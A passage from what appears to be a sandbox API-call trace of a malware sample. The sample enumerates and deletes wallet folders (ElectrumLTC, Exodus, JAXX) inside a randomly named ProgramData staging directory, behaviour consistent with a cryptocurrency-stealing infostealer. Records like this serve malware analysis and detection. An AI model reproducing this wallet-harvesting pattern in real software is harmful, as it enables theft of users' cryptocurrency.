lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.327] FindNextFileW (in: hFindFile=0x6d16d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b51a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b51a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b51a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.327] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC" [0102.327] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\" [0102.327] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC\\.." [0102.327] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\ElectrumLTC" | out: lpString1="\\Wallets\\ElectrumLTC") returned="\\Wallets\\ElectrumLTC" [0102.327] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC", lpString2="\\" | out: lpString1="\\Wallets\\ElectrumLTC\\") returned="\\Wallets\\ElectrumLTC\\" [0102.327] lstrcatW (in: lpString1="\\Wallets\\ElectrumLTC\\", lpString2=".." | out: lpString1="\\Wallets\\ElectrumLTC\\..") returned="\\Wallets\\ElectrumLTC\\.." [0102.327] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.327] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.327] FindNextFileW (in: hFindFile=0x6d16d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b51a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b51a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b51a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.327] FindClose (in: hFindFile=0x6d16d8 | out: hFindFile=0x6d16d8) returned 1 [0102.327] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430048 [0102.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0102.327] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x43) returned 0x33ab1f8 [0102.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC", cchWideChar=67, lpMultiByteStr=0x33ab1f8, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC", lpUsedDefaultChar=0x0) returned 67 [0102.327] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa770 [0102.327] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab1f8 | out: hHeap=0x2110000) returned 1 [0102.327] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.328] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116838 [0102.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116838, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.328] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116838 | out: hHeap=0x2110000) returned 1 [0102.328] PathMatchSpecW (pszFile="ElectrumLTC", pszSpec="*.*") returned 1 [0102.328] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x3430048 [0102.328] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300e0 [0102.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0102.328] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x43) returned 0x33ab658 [0102.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC", cchWideChar=67, lpMultiByteStr=0x33ab658, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC", lpUsedDefaultChar=0x0) returned 67 [0102.328] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa2a0 [0102.328] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab658 | out: hHeap=0x2110000) returned 1 [0102.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\ElectrumLTC", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0102.328] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x15) returned 0x3430c40 [0102.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\ElectrumLTC", cchWideChar=21, lpMultiByteStr=0x3430c40, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\ElectrumLTC", lpUsedDefaultChar=0x0) returned 21 [0102.328] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430380 [0102.328] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c40 | out: hHeap=0x2110000) returned 1 [0102.328] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\electrumltc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.328] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430380 | out: hHeap=0x2110000) returned 1 [0102.328] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa2a0 | out: hHeap=0x2110000) returned 1 [0102.328] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300e0 | out: hHeap=0x2110000) returned 1 [0102.328] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.329] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\ElectrumLTC" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\electrumltc")) returned 0 [0102.329] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa770 | out: hHeap=0x2110000) returned 1 [0102.329] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b51a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b51a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b51a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Exodus", cAlternateFileName="")) returned 1 [0102.329] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.329] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.329] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="Exodus" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus" [0102.329] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.329] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.329] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Exodus" | out: lpString1="\\Wallets\\Exodus") returned="\\Wallets\\Exodus" [0102.329] lstrcmpW (lpString1="Exodus", lpString2=".") returned 1 [0102.329] lstrcmpW (lpString1="Exodus", lpString2="..") returned 1 [0102.329] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus" [0102.329] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\*.*" [0102.329] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b51a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b51a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b51a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d14d8 [0102.329] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus" [0102.329] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\" [0102.329] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\." [0102.329] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Exodus" | out: lpString1="\\Wallets\\Exodus") returned="\\Wallets\\Exodus" [0102.329] lstrcatW (in: lpString1="\\Wallets\\Exodus", lpString2="\\" | out: lpString1="\\Wallets\\Exodus\\") returned="\\Wallets\\Exodus\\" [0102.329] lstrcatW (in: lpString1="\\Wallets\\Exodus\\", lpString2="." | out: lpString1="\\Wallets\\Exodus\\.") returned="\\Wallets\\Exodus\\." [0102.329] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.330] FindNextFileW (in: hFindFile=0x6d14d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b51a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b51a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b51a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.330] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus" [0102.330] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\" [0102.330] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus\\.." [0102.330] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Exodus" | out: lpString1="\\Wallets\\Exodus") returned="\\Wallets\\Exodus" [0102.330] lstrcatW (in: lpString1="\\Wallets\\Exodus", lpString2="\\" | out: lpString1="\\Wallets\\Exodus\\") returned="\\Wallets\\Exodus\\" [0102.330] lstrcatW (in: lpString1="\\Wallets\\Exodus\\", lpString2=".." | out: lpString1="\\Wallets\\Exodus\\..") returned="\\Wallets\\Exodus\\.." [0102.330] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.330] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.330] FindNextFileW (in: hFindFile=0x6d14d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341b51a8, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341b51a8, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341b51a8, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.330] FindClose (in: hFindFile=0x6d14d8 | out: hFindFile=0x6d14d8) returned 1 [0102.330] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0102.330] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x2112a08 [0102.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus", cchWideChar=62, lpMultiByteStr=0x2112a08, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus", lpUsedDefaultChar=0x0) returned 62 [0102.330] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112ae0 [0102.330] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a08 | out: hHeap=0x2110000) returned 1 [0102.330] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.330] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x21168a8 [0102.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x21168a8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.330] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168a8 | out: hHeap=0x2110000) returned 1 [0102.330] PathMatchSpecW (pszFile="Exodus", pszSpec="*.*") returned 1 [0102.330] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.330] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430380 [0102.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0102.331] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x2112a50 [0102.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus", cchWideChar=62, lpMultiByteStr=0x2112a50, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus", lpUsedDefaultChar=0x0) returned 62 [0102.331] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112780 [0102.331] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a50 | out: hHeap=0x2110000) returned 1 [0102.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Exodus", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.331] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x21130f0 [0102.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Exodus", cchWideChar=16, lpMultiByteStr=0x21130f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Exodus", lpUsedDefaultChar=0x0) returned 16 [0102.331] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0102.331] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\exodus"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.331] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112780 | out: hHeap=0x2110000) returned 1 [0102.331] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430380 | out: hHeap=0x2110000) returned 1 [0102.331] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.331] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Exodus" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\exodus")) returned 0 [0102.331] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ae0 | out: hHeap=0x2110000) returned 1 [0102.331] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c1522, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c1522, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c1522, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAXX", cAlternateFileName="")) returned 1 [0102.331] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.331] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.331] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="JAXX" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX" [0102.331] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.331] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.331] lstrcatW (in: lpString1="\\Wallets\\", lpString2="JAXX" | out: lpString1="\\Wallets\\JAXX") returned="\\Wallets\\JAXX" [0102.332] lstrcmpW (lpString1="JAXX", lpString2=".") returned 1 [0102.332] lstrcmpW (lpString1="JAXX", lpString2="..") returned 1 [0102.332] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX" [0102.332] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\*.*" [0102.332] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c1522, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c1522, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c1522, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d15d8 [0102.332] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX" [0102.332] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\" [0102.332] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\." [0102.332] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\JAXX" | out: lpString1="\\Wallets\\JAXX") returned="\\Wallets\\JAXX" [0102.332] lstrcatW (in: lpString1="\\Wallets\\JAXX", lpString2="\\" | out: lpString1="\\Wallets\\JAXX\\") returned="\\Wallets\\JAXX\\" [0102.332] lstrcatW (in: lpString1="\\Wallets\\JAXX\\", lpString2="." | out: lpString1="\\Wallets\\JAXX\\.") returned="\\Wallets\\JAXX\\." [0102.332] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.332] FindNextFileW (in: hFindFile=0x6d15d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c1522, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c1522, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c1522, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.332] lstrcpyW (in: lpString1=0x19de74, 